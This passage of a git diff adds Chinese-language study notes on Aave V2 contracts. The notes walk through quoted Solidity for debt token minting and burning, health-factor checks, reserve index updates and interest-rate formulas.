+  emit Transfer(address(0), onBehalfOf, amount);
+
+  emit Mint(
+    user,
+    onBehalfOf,
+    amount,
+    currentBalance,
+    balanceIncrease,
+    vars.newStableRate,
+    vars.currentAvgStableRate,
+    vars.nextSupply
+  );
+
+  // 返回该笔贷款是否是用户的第一笔
+  return currentBalance == 0;
+}
+```
+
+相关代码：
+
+- [\_calculateBalanceIncrease](#_calculateBalanceIncrease-stable)
+
+### burn-stable
+
+销毁债务 token，整体的逻辑是 mint 的逆运算。需要注意的是当 `销毁数量 >= 池子总量` 时，池子和用户的债务都清零，平均利率也清零。
+
+```solidity
+/**
+  * @dev Burns debt of `user`
+  * @param user The address of the user getting his debt burned
+  * @param amount The amount of debt tokens getting burned
+  **/
+function burn(address user, uint256 amount) external override onlyLendingPool {
+  (, uint256 currentBalance, uint256 balanceIncrease) = _calculateBalanceIncrease(user);
+
+  uint256 previousSupply = totalSupply();
+  uint256 newAvgStableRate = 0;
+  uint256 nextSupply = 0;
+  uint256 userStableRate = _usersStableRate[user];
+
+  // 由于债务总额和用户的债务分别累积，可能存在累积错误
+  // 因此当最后一个还款的借款人，实际尝试偿还的债务数量超过债务总量
+  // 在这种情况下，我们只需将债务总额和平均利率清零
+  if (previousSupply <= amount) {
+    _avgStableRate = 0;
+    _totalSupply = 0;
+  } else {
+    nextSupply = _totalSupply = previousSupply.sub(amount);
+    // 池子总利息
+    uint256 firstTerm = _avgStableRate.rayMul(previousSupply.wadToRay());
+    // 利息的减量 （该笔还款抵消的利息）
+    uint256 secondTerm = userStableRate.rayMul(amount.wadToRay());
+
+    // 和上述情况类似，当 user rate * user balance > avg rate * total supply
+    // 我们直接将债务总额 和 平均利率清零
+    if (secondTerm >= firstTerm) {
+      newAvgStableRate = _avgStableRate = _totalSupply = 0;
+    } else {
+      // (池子总利息 - 利息的减量) / 债务总量
+      newAvgStableRate = _avgStableRate = firstTerm.sub(secondTerm).rayDiv(nextSupply.wadToRay());
+    }
+  }
+
+  // 如果还款数量和债务数量相等，用户债务清零
+  if (amount == currentBalance) {
+    _usersStableRate[user] = 0;
+    _timestamps[user] = 0;
+  } else {
+    // 用户仍有债务，更新还款时间
+    //solium-disable-next-line
+    _timestamps[user] = uint40(block.timestamp);
+  }
+  // 更新全局的债务总量时间戳
+  //solium-disable-next-line
+  _totalSupplyTimestamp = uint40(block.timestamp);
+
+  // 可能存在 债务增量 > 还款数量 的情况
+  // 这时反而需要 mint
+  if (balanceIncrease > amount) {
+    uint256 amountToMint = balanceIncrease.sub(amount);
+    _mint(user, amountToMint, previousSupply);
+    emit Mint(
+      user,
+      user,
+      amountToMint,
+      currentBalance,
+      balanceIncrease,
+      userStableRate,
+      newAvgStableRate,
+      nextSupply
+    );
+  } else {
+    // 销毁相应的还款数量
+    uint256 amountToBurn = amount.sub(balanceIncrease);
+    _burn(user, amountToBurn, previousSupply);
+    emit Burn(user, amountToBurn, currentBalance, balanceIncrease, newAvgStableRate, nextSupply);
+  }
+
+  emit Transfer(user, address(0), amount);
+}
+```
+
+相关代码：
+
+- [\_calculateBalanceIncrease](#_calculateBalanceIncrease-stable)
+
+### \_calculateBalanceIncrease-stable
+
+计算用户债务的增长量，返回 缩放数量(债务的在t_0时刻的数量)，债务本息总额，债务增量(前两者的差)
+
+```solidity
+/**
+  * @dev Calculates the increase in balance since the last user interaction
+  * @param user The address of the user for which the interest is being accumulated
+  * @return The previous principal balance, the new principal balance and the balance increase
+  **/
+function _calculateBalanceIncrease(address user)
+  internal
+  view
+  returns (
+    uint256,
+    uint256,
+    uint256
+  )
+{
+  // 获取用户的债务缩放数量
+  // super.balanceOf 是ERC20类的方法
+  uint256 previousPrincipalBalance = super.balanceOf(user);
+
+  // 如果没有债务本金，全部返回0
+  if (previousPrincipalBalance == 0) {
+    return (0, 0, 0);
+  }
+
+  // Calculation of the accrued interest since the last accumulation
+  // 计算债务自上次累计后的增量
+  // balanceOf() 返回的是用户债务本息总额 (DebtToken 重载后的方法)
+  // 债务增量 = 债务总额 - 缩放数量
+  uint256 balanceIncrease = balanceOf(user).sub(previousPrincipalBalance);
+
+  return (
+    previousPrincipalBalance,
+    previousPrincipalBalance.add(balanceIncrease),
+    balanceIncrease
+  );
+}
+```
+
+相关代码：
+
+- [balanceOf](#balanceOf)
+
+### _mint-stable
+
+内部mint方法，若有激励控制合约，则会按持仓额外奖励
+
+```solidity
+/**
+  * @dev Mints stable debt tokens to an user
+  * @param account The account receiving the debt tokens
+  * @param amount The amount being minted
+  * @param oldTotalSupply the total supply before the minting event
+  **/
+function _mint(
+  address account,
+  uint256 amount,
+  uint256 oldTotalSupply
+) internal {
+  uint256 oldAccountBalance = _balances[account];
+  _balances[account] = oldAccountBalance.add(amount);
+
+  if (address(_incentivesController) != address(0)) {
+    _incentivesController.handleAction(account, oldTotalSupply, oldAccountBalance);
+  }
+}
+```
+
+### _burn-table
+
+### balanceOf-stable
+
+返回用户的债务总数，包含利息。根据记录的用户平均固定利率和时间来线性的累计利息。
+
+```solidity
+/**
+  * @dev Calculates the current user debt balance
+  * @return The accumulated debt of the user
+  **/
+function balanceOf(address account) public view virtual override returns (uint256) {
+  // 获取ERC20.balanceOf, 即用户之前借贷总量（缩放数值）
+  uint256 accountBalance = super.balanceOf(account);
+  // 获取用户的平均固定利率
+  uint256 stableRate = _usersStableRate[account];
+  // 如果没有借贷返回0
+  if (accountBalance == 0) {
+    return 0;
+  }
+  // 每单位debtToken应还款数量 （本息总额）
+  // cumulatedInterest = (1+rate)^time
+  uint256 cumulatedInterest =
+    MathUtils.calculateCompoundedInterest(stableRate, _timestamps[account]);
+  // 缩放后数量 * 每单位应还款数量 = 债务总额
+  return accountBalance.rayMul(cumulatedInterest);
+}
+```
+
+## VariableDebtToken
+
+### mint-variable
+
+生成浮动利率的 VariableDebtToken 转给借贷还款人。实际mint数量是 amountScaled。
+
+```solidity
+/**
+  * @dev Mints debt token to the `onBehalfOf` address
+  * -  Only callable by the LendingPool
+  * @param user The address receiving the borrowed underlying, being the delegatee in case
+  * of credit delegate, or same as `onBehalfOf` otherwise
+  * @param onBehalfOf The address receiving the debt tokens
+  * @param amount The amount of debt being minted
+  * @param index The variable debt index of the reserve
+  * @return `true` if the  previous balance of the user is 0
+  **/
+function mint(
+  address user,
+  address onBehalfOf,
+  uint256 amount,
+  uint256 index // variableBorrowIndex
+) external override onlyLendingPool returns (bool) {
+  if (user != onBehalfOf) {
+    _decreaseBorrowAllowance(onBehalfOf, user, amount);
+  }
+
+  uint256 previousBalance = super.balanceOf(onBehalfOf);  // 还款人的浮动债务总额
+  uint256 amountScaled = amount.rayDiv(index);  // 该笔贷款的缩放到t_0时刻的数量
+  require(amountScaled != 0, Errors.CT_INVALID_MINT_AMOUNT);
+
+  _mint(onBehalfOf, amountScaled);
+
+  emit Transfer(address(0), onBehalfOf, amount);  // 发送事件仍用缩放前的数量
+  emit Mint(user, onBehalfOf, amount, index);
+
+  return previousBalance == 0;  // 是否为还款人第一笔贷款
+}
+```
+
+### burn-variable
+
+销毁amount数量的VariableDebtToken，实际burn掉amountScaled。只能被 LendingPool 调用。
+
+```solidity
+/**
+  * @dev Burns user variable debt
+  * - Only callable by the LendingPool
+  * @param user The user whose debt is getting burned
+  * @param amount The amount getting burned
+  * @param index The variable debt index of the reserve
+  **/
+function burn(
+  address user,
+  uint256 amount,
+  uint256 index // reserve.variableBorrowIndex
+) external override onlyLendingPool {
+  uint256 amountScaled = amount.rayDiv(index);  // 对数量缩放到t_0时刻
+  require(amountScaled != 0, Errors.CT_INVALID_BURN_AMOUNT);
+
+  _burn(user, amountScaled);  // 销毁 amountScaled 数量
+
+  emit Transfer(user, address(0), amount);  // 广播 amount 数量
+  emit Burn(user, amount, index);
+}
+```
+
+### balanceOf-variable
+
+返回用户当前的浮动类型债务数量。由于浮动利率会经常变化，所以需要利用全局记录的 `variableBorrowIndex` 来对缩放后的token数量还原。
+
+> variable 类型的债务利率不断随着池子的利用率产生变化，所以每个池子会全局记录一个 `variableBorrowIndex` 来实时更新债务和缩放数量的比例；而 stable 类型的债务，对于用户来说，每一笔的债务利率都是固定在初始借贷时刻的，所以只需要以固定利率和时间来线性的计算债务数量；由于用户可能借出多笔不同固定利率的债务，实际计算需要使用加权平均后的固定利率，具体公式在V2白皮书 3.4 Stable Debt
+
+```solidity
+/**
+  * @dev Calculates the accumulated debt balance of the user
+  * @return The debt balance of the user
+  **/
+function balanceOf(address user) public view virtual override returns (uint256) {
+  uint256 scaledBalance = super.balanceOf(user);
+
+  if (scaledBalance == 0) {
+    return 0;
+  }
+
+  // 内部调用了 ReserveLogic 的 getNormalizedDebt 方法
+  // 返回最新的 variableBorrowIndex
+  // scaledBalance * variableBorrowIndex
+  return scaledBalance.rayMul(_pool.getReserveNormalizedVariableDebt(_underlyingAsset));
+}
+```
+
+相关代码
+
+- [getNormalizedDebt](./ReserveLogic.md#getNormalizedDebt)
diff --git a/defi/Aave/contract/5-GenericLogic.md b/defi/Aave/contract/5-GenericLogic.md
new file mode 100644
index 000000000..3c806451c
--- /dev/null
+++ b/defi/Aave/contract/5-GenericLogic.md
@@ -0,0 +1,127 @@
+## GenericLogic 合约功能介绍  
+GenericLogic 用于计算和验证用户的状态, 保证用户在质押/借贷的过程中保持用户级状态的一致.  
+
+## 主要合约接口  
+- balanceDecreaseAllowed 
+此接口用于计算用户质押金是否可以减少. 
+```solidity
+/**
+   * @dev Checks if a specific balance decrease is allowed
+   * (i.e. doesn't bring the user borrow position health factor under HEALTH_FACTOR_LIQUIDATION_THRESHOLD)
+   * @param asset The address of the underlying asset of the reserve
+   * @param user The address of the user
+   * @param amount The amount to decrease
+   * @param reservesData The data of all the reserves
+   * @param userConfig The user configuration
+   * @param reserves The list of all the active reserves
+   * @param oracle The address of the oracle contract
+   * @return true if the decrease of the balance is allowed
+   **/
+  function balanceDecreaseAllowed(
+    address asset,  // 资产地址, 比如 Dai, USDT
+    address user,   // 用户地址
+    uint256 amount, // 减少的存款金额数量 
+    mapping(address => DataTypes.ReserveData) storage reservesData,  //质押资产配置信息
+    DataTypes.UserConfigurationMap calldata userConfig,  // 用户配置信息
+    mapping(uint256 => address) storage reserves,  // 所有质押资产的配置信息
+    uint256 reservesCount,  // 所有质押资产的配置信息总个数 
+    address oracle   // oracle 地址
+  ) external view returns (bool) {
+    // 用户没有借款记录, 或没有使用此资产进行质押时, 允许用户减少存款金额
+    if (!userConfig.isBorrowingAny() || !userConfig.isUsingAsCollateral(reservesData[asset].id)) {
+      return true;
+    }
+
+    balanceDecreaseAllowedLocalVars memory vars;
+
+    (, vars.liquidationThreshold, , vars.decimals, ) = reservesData[asset]
+      .configuration
+      .getParams();
+
+    // 当清算阀值为0 , 表示永不清算时, 即使用户有使用此资产进行借贷, 也返回 true
+    if (vars.liquidationThreshold == 0) {
+      return true;
+    }
+
+    (
+      vars.totalCollateralInETH,
+      vars.totalDebtInETH,
+      ,
+      vars.avgLiquidationThreshold,
+
+    ) = calculateUserAccountData(user, reservesData, userConfig, reserves, reservesCount, oracle);
+
+    if (vars.totalDebtInETH == 0) {
+      return true;
+    }
+
+    vars.amountToDecreaseInETH = IPriceOracleGetter(oracle).getAssetPrice(asset).mul(amount).div(
+      10**vars.decimals
+    );
+
+    vars.collateralBalanceAfterDecrease = vars.totalCollateralInETH.sub(vars.amountToDecreaseInETH);
+
+    //if there is a borrow, there can't be 0 collateral
+    if (vars.collateralBalanceAfterDecrease == 0) {
+      return false;
+    }
+
+    /* 计算用户资金减少后的清算阀值 %
+     * totalCollateralInETH: 用户所有的质押资产总价值 ( 以 ETH 计算)
+     * avgLiquidationThreshold: 用户所有质押资产所对应的清算阀值
+     * totalCollateralInETH * avgLiquidationThreshold :  达到清算阀值时,用户所有资产的价值, 这里假设为 M 
+     * amountToDecreaseInETH * liquidationThreshold : 减少的资金所对应的清算阀值, 这里假设为 N 
+     * ( M - N ) /  collateralBalanceAfterDecrease : 用户剩余资产所对应的清算阀值
+     */
+    vars.liquidationThresholdAfterDecrease = vars
+      .totalCollateralInETH
+      .mul(vars.avgLiquidationThreshold)
+      .sub(vars.amountToDecreaseInETH.mul(vars.liquidationThreshold))
+      .div(vars.collateralBalanceAfterDecrease);
+
+    // 计算用户的健康因子
+    uint256 healthFactorAfterDecrease =
+      calculateHealthFactorFromBalances(
+        vars.collateralBalanceAfterDecrease,
+        vars.totalDebtInETH,
+        vars.liquidationThresholdAfterDecrease
+      );
+
+    return healthFactorAfterDecrease >= GenericLogic.HEALTH_FACTOR_LIQUIDATION_THRESHOLD;
+  }
+```
+
+- calculateHealthFactorFromBalances  
+计算用户的健康因子, 计算公式为:  
+( 总质押资产 * 清算阀值 ) / 当前债务总值 
+```solidity
+function calculateHealthFactorFromBalances(
+    uint256 totalCollateralInETH,
+    uint256 totalDebtInETH,
+    uint256 liquidationThreshold
+  ) internal pure returns (uint256) {
+    if (totalDebtInETH == 0) return uint256(-1);
+
+    return (totalCollateralInETH.percentMul(liquidationThreshold)).wadDiv(totalDebtInETH);
+  }
+```
+
+-  calculateAvailableBorrowsETH  
+计算用户可借贷的资产总值 ( 以 ETH 计算 ). 
+计算公式为: ( 用户总质押资产 * 借贷系数 ) - 已借贷资产总值
+```solidity
+function calculateAvailableBorrowsETH(
+    uint256 totalCollateralInETH,
+    uint256 totalDebtInETH,
+    uint256 ltv
+  ) internal pure returns (uint256) {
+    uint256 availableBorrowsETH = totalCollateralInETH.percentMul(ltv);
+
+    if (availableBorrowsETH < totalDebtInETH) {
+      return 0;
+    }
+
+    availableBorrowsETH = availableBorrowsETH.sub(totalDebtInETH);
+    return availableBorrowsETH;
+  }
+```
\ No newline at end of file
diff --git a/defi/Aave/contract/6-ReserveLogic.md b/defi/Aave/contract/6-ReserveLogic.md
new file mode 100644
index 000000000..2a71f0a62
--- /dev/null
+++ b/defi/Aave/contract/6-ReserveLogic.md
@@ -0,0 +1,306 @@
+# ReserveLogic
+
+资产相关的计算逻辑库
+
+## preparation
+
+运算理论的铺垫
+
+### 时间间隔的计算
+
+`delta_T_year` 是时间 间隔的秒数 / 一年的总秒数 $T_{year}=31536000$
+<!-- <img src="https://render.githubusercontent.com/render/math?math=T_{year}=31536000" style="display: block;margin: 24px auto;" /> -->
+
+$\Delta{T_{year}}=\Delta{T}/T_{year}$
+<!-- <img src="https://render.githubusercontent.com/render/math?math=\Delta{T_{year}}=\Delta{T}/T_{year}" style="display: block;margin: 24px auto;" /> -->
+
+### 固定利率借贷 StableBorrowRate
+
+用户以固定利率借贷资产，将以当前固定利率来计息，不随市场波动。
+
+> 固定利率也是跟随市场波动，之所以称之为固定利率，指的是贷款人在贷出资产后，会以贷款时的利率固定计息。而不同时间贷款的固定利率可能是不同的。
+
+### 浮动利率借贷 VariableBorrowRate
+
+用户以浮动利率借贷资产，将以浮动利率来计息，会实时的跟随市场波动。
+
+因为跟随市场波动，所以在合约中需要记录时间加权的累计值，然后以类似价格预言机的模式使用，计算任意时间区间内的真实累计利息。
+
+### 流动性收益利率 LiquidityRate
+
+这是针对借出资产的用户的收益利率，即用户向协议注入流动性时，获得的收益率。
+
+### 流动性收益累计值 LiquidityIndex
+
+收益的来源是借款人归还的利息，由固定利率借贷和浮动利率借贷组成，由于两种利率都是随市场波动，所以和浮动借款利率一样，需要记录时间加权累计值。
+
+## variables
+
+Reserve 的主要变量
+
+### liquidityIndex
+
+`liquidity cumulative index` 每单位 liquidity (用户往协议中注入的抵押资产)累计的本息总额。 `R_t` 是总的利率，即固定利率和浮动利率的加权平均。
+
+${LI}_t=(1+\Delta{T_{year}}*R_t)*{LI}_{t-1}$
+<!-- <img src="https://render.githubusercontent.com/render/math?math={LI}_t=(1%2B\Delta{T_{year}}*R_t)*{LI}_{t-1}" style="display: block;margin: 24px auto;" /> -->
+
+**注意：** liquidty 池子资产流动性的数量是 amountScaled ，即任意时刻存入的抵押资产数量，都会被缩放至 t_0 池子创建时刻的数量，详细逻辑参考 [amount and amountScaled](./3-AToken.md#amount%20and%20amountScaled)
+
+### variableBorrowIndex
+
+`variable borrow index` 累计每单位浮动利率类型债务的本息总额。`VR_t` 代表当前的浮动利率.
+
+${VI}_t=(1+\frac{{VR}_t}{T_{year}})^{\Delta{T}}{VI}_{t-1}$
+<!-- <img src="https://render.githubusercontent.com/render/math?math={VI}_t=(1%2B\frac{{VR}_t}{T_{year}})^{\Delta{T}}{VI}_{t-1}" style="display: block;margin: 24px auto;" /> -->
+
+> 这里没有 StableBorrowIndex, 因为每个用户的固定利率都不同，不是跟随池子的全局变量实时变化，因此每个借贷了固定利率债务的用户都会单独维护一个平均的固定利率变量。 在 StableDebtToken 合约 `mapping(address => uint256) _usersStableRate`
+
+## methods
+
+### updateState
+
+更新 `liquidity cumulative index` 和 `variable borrow index` 两个变量，若有新增资产，将其中一部分存入金库(Treasury)。
+
+```solidity
+/**
+  * @dev Updates the liquidity cumulative index and the variable borrow index.
+  * @param reserve the reserve object
+  **/
+function updateState(DataTypes.ReserveData storage reserve) internal {
+  // 获取浮动债务的 scaled 数量，即缩放到 t_0 时刻的总数量
+  uint256 scaledVariableDebt =
+    IVariableDebtToken(reserve.variableDebtTokenAddress).scaledTotalSupply();
+  // 缓存更新之前的值
+  uint256 previousVariableBorrowIndex = reserve.variableBorrowIndex;  // variable borrow index
+  uint256 previousLiquidityIndex = reserve.liquidityIndex; // liquidity cumulative index
+  uint40 lastUpdatedTimestamp = reserve.lastUpdateTimestamp;  // 池子上次更新的时刻
+
+  // 更新index变量
+  (uint256 newLiquidityIndex, uint256 newVariableBorrowIndex) =
+    _updateIndexes(
+      reserve,
+      scaledVariableDebt,
+      previousLiquidityIndex,
+      previousVariableBorrowIndex,
+      lastUpdatedTimestamp
+    );
+
+  // 若有新增资产将其中一部分存入金库
+  _mintToTreasury(
+    reserve,
+    scaledVariableDebt,
+    previousVariableBorrowIndex,
+    newLiquidityIndex,
+    newVariableBorrowIndex,
+    lastUpdatedTimestamp
+  );
+}
+```
+
+### \_updateIndexes
+
+更新指数变量的具体逻辑。
+
+parameters:
+
+- reserve 需要更新的资产数据
+- scaledVariableDebt 浮动债务数量（统一缩放到 t_0 时刻）
+- liquidityIndex 每单位流动性的收益时间加权累计值
+- variableBorrowIndex 每单位浮动利率类型债务的累计本息总额
+
+```solidity
+/**
+  * @dev Updates the reserve indexes and the timestamp of the update
+  * @param reserve The reserve reserve to be updated
+  * @param scaledVariableDebt The scaled variable debt
+  * @param liquidityIndex The last stored liquidity index
+  * @param variableBorrowIndex The last stored variable borrow index
+  **/
+function _updateIndexes(
+  DataTypes.ReserveData storage reserve,
+  uint256 scaledVariableDebt,
+  uint256 liquidityIndex,
+  uint256 variableBorrowIndex,
+  uint40 timestamp
+) internal returns (uint256, uint256) {
+  // 缓存之前的流动性收益率
+  uint256 currentLiquidityRate = reserve.currentLiquidityRate;
+
+  // 缓存之前的每单位流动性累计本息总额
+  uint256 newLiquidityIndex = liquidityIndex;
+  // 缓存每单位浮动利率类型债务的累计本息总额
+  uint256 newVariableBorrowIndex = variableBorrowIndex;
+
+  //only cumulating if there is any income being produced
+  // 只有当有收益率时，执行累计逻辑
+  if (currentLiquidityRate > 0) {
+    // 累计收益率 通过计算将年化收益率切分成每秒，然后线性累加这段时间的收益率
+    // 1 + ratePerSecond * (delta_t / seconds in a year)
+    uint256 cumulatedLiquidityInterest =
+      MathUtils.calculateLinearInterest(currentLiquidityRate, timestamp);
+    // 更新每单位流动性的本息总额
+    newLiquidityIndex = cumulatedLiquidityInterest.rayMul(liquidityIndex);
+    require(newLiquidityIndex <= type(uint128).max, Errors.RL_LIQUIDITY_INDEX_OVERFLOW);  // 检查最大值限制
+
+    reserve.liquidityIndex = uint128(newLiquidityIndex);  // 由于newLiquidityIndex是uint256，这里要转换
+
+    //as the liquidity rate might come only from stable rate loans, we need to ensure
+    //that there is actual variable debt before accumulating
+    // 当有浮动类型债务时，更新浮动债务的每单位累计本息总额
+    if (scaledVariableDebt != 0) {
+      // 将年化利率切分成每秒，然后以时间差为指数计算复利后的每单位累计本息总额
+      // (1 + ratePerSecond) ^ delta_t
+      uint256 cumulatedVariableBorrowInterest =
+        MathUtils.calculateCompoundedInterest(reserve.currentVariableBorrowRate, timestamp);
+      // 更新浮动债务的每单位累计本息总额
+      newVariableBorrowIndex = cumulatedVariableBorrowInterest.rayMul(variableBorrowIndex);
+      require(
+        newVariableBorrowIndex <= type(uint128).max,
+        Errors.RL_VARIABLE_BORROW_INDEX_OVERFLOW
+      );
+      // 由于calculateLinearInterest返回的是uint256类型，这里要转换成uint128
+      reserve.variableBorrowIndex = uint128(newVariableBorrowIndex);
+    }
+  }
+
+  //solium-disable-next-line
+  // 记录更新的时间戳
+  reserve.lastUpdateTimestamp = uint40(block.timestamp);
+  return (newLiquidityIndex, newVariableBorrowIndex);
+}
+```
+
+### updateInterestRates
+
+更新利率的方法，稳定利率，浮动利率，每单位流动性收益率
+
+parameters:
+
+- reserve 需要更新的目标资产数据
+- reserveAddress 资产地址
+- aTokenAddress aToken 地址
+- liquidityAdded 增加的流动性数量
+- liquidityTaken 减少的流动性数量
+
+```solidity
+struct UpdateInterestRatesLocalVars {
+  address stableDebtTokenAddress;
+  uint256 availableLiquidity;
+  uint256 totalStableDebt;
+  uint256 newLiquidityRate;
+  uint256 newStableRate;
+  uint256 newVariableRate;
+  uint256 avgStableRate;
+  uint256 totalVariableDebt;
+}
+```
+
+```solidity
+/**
+  * @dev Updates the reserve current stable borrow rate, the current variable borrow rate and the current liquidity rate
+  * @param reserve The address of the reserve to be updated
+  * @param liquidityAdded The amount of liquidity added to the protocol (deposit or repay) in the previous action
+  * @param liquidityTaken The amount of liquidity taken from the protocol (redeem or borrow)
+  **/
+function updateInterestRates(
+  DataTypes.ReserveData storage reserve,
+  address reserveAddress,
+  address aTokenAddress,
+  uint256 liquidityAdded,
+  uint256 liquidityTaken
+) internal {
+  // 初始化相关变量到缓存
+  UpdateInterestRatesLocalVars memory vars;
+
+  // 缓存稳定债务的token地址
+  vars.stableDebtTokenAddress = reserve.stableDebtTokenAddress;
+
+  // 缓存固定利率债务数量（本息总额）和平均利率（全局）
+  (vars.totalStableDebt, vars.avgStableRate) = IStableDebtToken(vars.stableDebtTokenAddress)
+    .getTotalSupplyAndAvgRate();
+
+  //calculates the total variable debt locally using the scaled total supply instead
+  //of totalSupply(), as it's noticeably cheaper. Also, the index has been
+  //updated by the previous updateState() call
+  // 债务总量（本息总额） = 债务总量（不含利息） * 浮动利率指数
+  vars.totalVariableDebt = IVariableDebtToken(reserve.variableDebtTokenAddress)
+    .scaledTotalSupply()
+    .rayMul(reserve.variableBorrowIndex);
+
+  // 更新利率，注意这里返回的是uint256类型
+  (
+    vars.newLiquidityRate,  // 每单位liquidity的本息累计总额
+    vars.newStableRate, // 稳定类型债务的最新利率
+    vars.newVariableRate // 浮动类型债务的最新利率
+  ) = IReserveInterestRateStrategy(reserve.interestRateStrategyAddress).calculateInterestRates(
+    reserveAddress,
+    aTokenAddress,
+    liquidityAdded,
+    liquidityTaken,
+    vars.totalStableDebt,
+    vars.totalVariableDebt,
+    vars.avgStableRate,
+    reserve.configuration.getReserveFactor()
+  );
+
+  // 检查利率数值是否溢出
+  require(vars.newLiquidityRate <= type(uint128).max, Errors.RL_LIQUIDITY_RATE_OVERFLOW);
+  require(vars.newStableRate <= type(uint128).max, Errors.RL_STABLE_BORROW_RATE_OVERFLOW);
+  require(vars.newVariableRate <= type(uint128).max, Errors.RL_VARIABLE_BORROW_RATE_OVERFLOW);
+
+  // 给变量赋值，由于变量是uin128类型，需要转换
+  reserve.currentLiquidityRate = uint128(vars.newLiquidityRate);
+  reserve.currentStableBorrowRate = uint128(vars.newStableRate);
+  reserve.currentVariableBorrowRate = uint128(vars.newVariableRate);
+
+  emit ReserveDataUpdated(
+    reserveAddress,
+    vars.newLiquidityRate,
+    vars.newStableRate,
+    vars.newVariableRate,
+    reserve.liquidityIndex,
+    reserve.variableBorrowIndex
+  );
+}
+```
+
+相关代码
+
+- 计算利率的方法 [IReserveInterestRateStrategy.calculateInterestRates()](./7-DefaultReserveInterestRateStrategy.md#calculateInterestRates)
+
+### getNormalizedDebt
+
+查询每单位债务的本息总额（归一化债务数量）。
+
+```solidity
+/**
+  * @dev Returns the ongoing normalized variable debt for the reserve
+  * A value of 1e27 means there is no debt. As time passes, the income is accrued
+  * A value of 2*1e27 means that for each unit of debt, one unit worth of interest has been accumulated
+  * @param reserve The reserve object
+  * @return The normalized variable debt. expressed in ray
+  **/
+function getNormalizedDebt(DataTypes.ReserveData storage reserve)
+  internal
+  view
+  returns (uint256)
+{
+  uint40 timestamp = reserve.lastUpdateTimestamp;
+
+  // 若最近更新在当前区块内，直接返回 variableBorrowIndex
+  //solium-disable-next-line
+  if (timestamp == uint40(block.timestamp)) {
+    //if the index was updated in the same block, no need to perform any calculation
+    return reserve.variableBorrowIndex;
+  }
+
+  // 不在同一区块内，使用复利计算这段时间的增长
+  uint256 cumulated =
+    MathUtils.calculateCompoundedInterest(reserve.currentVariableBorrowRate, timestamp).rayMul(
+      reserve.variableBorrowIndex
+    );
+
+  return cumulated;
+}
+```
diff --git a/defi/Aave/contract/7-DefaultReserveInterestRateStrategy.md b/defi/Aave/contract/7-DefaultReserveInterestRateStrategy.md
new file mode 100644
index 000000000..ddc56c7c2
--- /dev/null
+++ b/defi/Aave/contract/7-DefaultReserveInterestRateStrategy.md
@@ -0,0 +1,185 @@
+# DefaultReserveInterestRateStrategy
+
+默认的利率更新策略模块，负责浮动和固定利率的更新
+
+## Formal Definitions
+
+利率相关公式定义：
+
+- `U` 流动性利用率，债务总额 和 抵押总额 的比例
+- `U_optimal` 调节利率的界限，低于此会鼓励借贷，高于此会鼓励抵押
+- `R_slope1` 低于界限时，利率增长的斜率
+- `R_slope2` 高于界限时，利率增长的斜率
+- `R_base` 基准利率，浮动基准利率提前设定（aave 社区决定），固定利率由预言机提供多个市场的利率进行加权平均得到
+
+当 `U < U_optimal` 时：
+
+$R_{t}=R_{base}+\frac{U_t}{U_{optimal}}R_{slope1}$
+<!-- <img src="https://render.githubusercontent.com/render/math?math=R_{t}=R_{base}%2B\frac{U_t}{U_{optimal}}R_{slope1}" style="display: block;margin: 24px auto;" /> -->
+
+当 `U >= U_optimal` 时：
+
+$R_{t}=R_{base}+R_{slope1}+\frac{U_t-U_{optimal}}{1-U_{optimal}}R_{slope2}$
+<!-- <img src="https://render.githubusercontent.com/render/math?math=R_{t}=R_{base}%2BR_{slope1}%2B\frac{U_t-U_{optimal}}{1-U_{optimal}}R_{slope2}" style="display: block;margin: 24px auto;" /> -->
+
+## 公式相关变量
+
+所有全局变量都是 `immutable` 类型，即初始化赋值后不可更改。
+
+`ray` 是 aave 中规定的计数方法，精度为 27 的数值类型, 即 `1ray = 1e27`
+
+| variable name            | 公式对应        | 变量类型 |
+| ------------------------ | --------------- | -------- |
+| OPTIMAL_UTILIZATION_RATE | U_optimal       | ray      |
+| EXCESS_UTILIZATION_RATE  | 1 - U_optimal   | ray      |
+| \_baseVariableBorrowRate | R_base (浮动)   | ray      |
+| \_variableRateSlope1     | R_slope1 (浮动) | ray      |
+| \_variableRateSlope2     | R_slope2 (浮动) | ray      |
+| \_stableRateSlope1       | R_slope1 (固定) | ray      |
+| \_stableRateSlope2       | R_slope2 (固定) | ray      |
+
+针对各个资产的不同利率相关参数详见 [aave borrow interest rate](https://docs.aave.com/risk/liquidity-risk/borrow-interest-rate)
+
+## methods
+
+### constructor
+
+利率更新策略模块初始化，会将公式相关变量初始化
+
+```solidity
+constructor(
+  ILendingPoolAddressesProvider provider,
+  uint256 optimalUtilizationRate,
+  uint256 baseVariableBorrowRate,
+  uint256 variableRateSlope1,
+  uint256 variableRateSlope2,
+  uint256 stableRateSlope1,
+  uint256 stableRateSlope2
+) public {
+  OPTIMAL_UTILIZATION_RATE = optimalUtilizationRate;
+  // 1 - U_optimal 提前缓存该值避免每次调用计算
+  EXCESS_UTILIZATION_RATE = WadRayMath.ray().sub(optimalUtilizationRate);
+  addressesProvider = provider;
+  _baseVariableBorrowRate = baseVariableBorrowRate;
+  _variableRateSlope1 = variableRateSlope1;
+  _variableRateSlope2 = variableRateSlope2;
+  _stableRateSlope1 = stableRateSlope1;
+  _stableRateSlope2 = stableRateSlope2;
+}
+```
+
+### calculateInterestRates
+
+计算利率的具体方法。
+
+```solidity
+// 缓存计算结果的struct
+struct CalcInterestRatesLocalVars {
+  uint256 totalDebt;  // 债务总额
+  uint256 currentVariableBorrowRate;  // 当前浮动借贷利率
+  uint256 currentStableBorrowRate;  // 当前固定借贷利率
+  uint256 currentLiquidityRate;   // 当前流动性回报率
+  uint256 utilizationRate;  // 流动性利用率 U
+}
+```
+
+根据池子资产的状态和配置计算利率。函数返回 流动性回报率，固定利率，浮动利率
+
+```solidity
+/**
+  * @dev Calculates the interest rates depending on the reserve's state and configurations.
+  * NOTE This function is kept for compatibility with the previous DefaultInterestRateStrategy interface.
+  * New protocol implementation uses the new calculateInterestRates() interface
+  * @param reserve The address of the reserve
+  * @param availableLiquidity The liquidity available in the corresponding aToken
+  * @param totalStableDebt The total borrowed from the reserve a stable rate
+  * @param totalVariableDebt The total borrowed from the reserve at a variable rate
+  * @param averageStableBorrowRate The weighted average of all the stable rate loans
+  * @param reserveFactor The reserve portion of the interest that goes to the treasury of the market
+  * @return The liquidity rate, the stable borrow rate and the variable borrow rate
+  **/
+function calculateInterestRates(
+  address reserve,  // 池子地址
+  uint256 availableLiquidity, // 可用的流动性（可借贷资产）
+  uint256 totalStableDebt,  // 当前固定利率借贷债务总额
+  uint256 totalVariableDebt, // 当前浮动利率借贷债务总额
